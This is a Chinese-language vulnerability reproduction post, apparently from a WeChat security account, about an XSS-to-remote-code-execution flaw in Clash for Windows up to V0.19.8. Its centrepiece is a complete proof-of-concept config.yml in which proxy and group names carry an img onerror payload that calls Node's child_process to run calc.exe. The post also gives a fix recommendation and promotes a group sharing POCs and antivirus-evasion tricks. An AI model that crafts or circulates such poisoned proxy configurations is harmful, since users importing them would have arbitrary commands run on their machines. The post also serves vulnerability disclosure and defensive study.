免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。
文章正文
Clash软件介绍
被誉为Windows上最好用的代理工具,Clash 是一个使用 Go 语言编写,基于规则的跨平台代理软件核心程序。Clash for Windows 是目前在 Windows 上唯一可用的图形化 Clash 分支。通过 Clash API 来配置和控制 Clash 核心程序,便于用户可视化操作和使用。Clash for Windows 免费客户端同时支持 Windows 和 Mac 平台,并且支持一键导入订阅配置文件。
漏洞点
经检测发现Clash for windows 代理规则配置文件config.yml中未设置严格的输入检测,攻击者可通过构造代理配置文件中的 XSS Payload 来执行任意 javascript 命令。"proxies"中的"name"字段嵌入html标签,"onerror"时触发语句执行。
漏洞详情
通过构造yaml文件中的XSS Payload来执行任意的javascript命令(clash config命令)
随后点击箭头处,即可触发漏洞。
受影响版本
Clash For Windows <= V0.19.8版本均受此影响
POC
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
修复建议
更新到最新版本V0.19.10及以上。
更新链接:https://github.com/Fndroid/clash_for_windows_pkg/releases
技术交流
交流群
关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。
知识星球
团队建立了知识星球,不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。感兴趣的可以加一下。
往期文章:
CVE-2022-0543Redis Lua沙箱绕过RCE复现
Powershell 免杀过 defender 火绒,附自动化工具Z2OBot
最新Linux内核提权漏洞——Dirty Pipe(CVE-2022-0874) 复现
点一下爱心再走吧!
原文始发于微信公众号(Z2O安全攻防):Clash for Windows RCE漏洞复现
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论